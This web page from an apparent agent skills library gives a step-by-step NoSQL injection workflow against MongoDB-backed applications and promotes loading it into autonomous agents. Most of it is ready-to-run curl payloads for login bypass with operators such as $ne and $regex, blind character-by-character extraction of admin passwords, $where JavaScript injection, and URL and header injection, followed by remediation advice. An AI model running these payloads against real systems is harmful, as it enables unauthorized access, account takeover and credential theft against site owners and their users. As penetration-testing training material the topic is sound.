CG
SkillsExploiting Nosql Injection Vulnerabilities
Start Free
Back to Skills Library
Application Security๐Ÿ”ด Advanced

Exploiting Nosql Injection Vulnerabilities

Detect and exploit NoSQL injection vulnerabilities in MongoDB, CouchDB, and other NoSQL databases to demonstrate authentication bypass, data extraction, and unauthorized access risks.

4 min read7 code examples

Prerequisites

  • Burp Suite Professional or Community Edition with JSON support
  • NoSQLMap tool installed (`pip install nosqlmap` or from GitHub)
  • Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
  • Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
  • Proxy configured for HTTP traffic interception
  • Python 3.x for custom payload scripting

Exploiting NoSQL Injection Vulnerabilities

When to Use

  • During web application penetration testing of applications using NoSQL databases
  • When testing authentication mechanisms backed by MongoDB or similar databases
  • When assessing APIs that accept JSON input for database queries
  • During bug bounty hunting on applications with NoSQL backends
  • When performing security code review of database query construction

Prerequisites

  • Burp Suite Professional or Community Edition with JSON support
  • NoSQLMap tool installed (pip install nosqlmap or from GitHub)
  • Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
  • Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
  • Proxy configured for HTTP traffic interception
  • Python 3.x for custom payload scripting

Workflow

Step 1 โ€” Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 โ€” Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Step 3 โ€” Extract Data Using Boolean-Based Blind Injection

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Step 4 โ€” Exploit JavaScript Injection via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Step 5 โ€” Use NoSQLMap for Automated Testing

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Step 6 โ€” Test URL Parameter Injection

# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

Key Concepts

ConceptDescription
Operator InjectionInjecting MongoDB operators ($ne, $gt, $regex) into query parameters
Authentication BypassUsing operators to match any document and bypass login checks
Blind ExtractionCharacter-by-character data extraction using $regex boolean responses
$where InjectionExecuting arbitrary JavaScript on the MongoDB server via $where operator
Type JugglingExploiting how NoSQL databases handle different input types (string vs object)
BSON InjectionManipulating Binary JSON serialization in MongoDB wire protocol
Server-Side JSJavaScript execution context available in MongoDB for query evaluation

Tools & Systems

ToolPurpose
NoSQLMapAutomated NoSQL injection detection and exploitation framework
Burp SuiteHTTP proxy for intercepting and modifying JSON requests
MongoDB ShellDirect database interaction for testing query behavior
nosqliDedicated NoSQL injection scanner and exploitation tool
PayloadsAllTheThingsCurated NoSQL injection payload repository
NucleiTemplate-based scanner with NoSQL injection detection templates
PostmanAPI testing platform for crafting NoSQL injection requests

Common Scenarios

  1. Login Bypass โ€” Bypass MongoDB-backed authentication using {"$ne": ""} operator injection in username and password fields
  2. Data Enumeration โ€” Extract database contents character by character using $regex blind injection when no direct output is visible
  3. Privilege Escalation โ€” Modify user role fields through NoSQL injection in profile update endpoints
  4. API Key Extraction โ€” Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
  5. Account Takeover โ€” Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

Output Format

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls

Verification Criteria

Confirm successful execution by validating:

  • [ ] All prerequisite tools and access requirements are satisfied
  • [ ] Each workflow step completed without errors
  • [ ] Output matches expected format and contains expected data
  • [ ] No security warnings or misconfigurations detected
  • [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC6.1 (Logical Access), CC8.1 (Change Management)
  • ISO 27001: A.14.2 (Secure Development), A.14.1 (Security Requirements)
  • NIST 800-53: SA-11 (Developer Testing), SI-10 (Input Validation), SC-18 (Mobile Code)
  • OWASP LLM Top 10: LLM01 (Prompt Injection), LLM02 (Insecure Output)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add exploiting-nosql-injection-vulnerabilities

# Or load dynamically via MCP
grc.load_skill("exploiting-nosql-injection-vulnerabilities")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact โ€” successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add exploiting-nosql-injection-vulnerabilities
// Or via MCP
grc.load_skill("exploiting-nosql-injection-vulnerabilities")

Tags

nosql-injectionmongodbauthentication-bypassinjection-attackweb-securitydatabase-securityapi-testing

Related Skills

Application Security

Exploiting SQL Injection with Sqlmap

5mยทadvanced
Application Security

Exploiting Type Juggling Vulnerabilities

6mยทadvanced
Application Security

Performing Second Order SQL Injection

5mยทadvanced
Application Security

Exploiting HTTP Request Smuggling

7mยทadvanced
Application Security

Exploiting IDOR Vulnerabilities

7mยทadvanced
Application Security

Exploiting Insecure Deserialization

7mยทadvanced

Skill Details

Domain
Application Security
Difficulty
advanced
Read Time
4 min
Code Examples
7

On This Page

When to UsePrerequisitesWorkflowKey ConceptsTools & SystemsCommon ScenariosOutput FormatNoSQL Injection Assessment ReportVerification CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free โ†’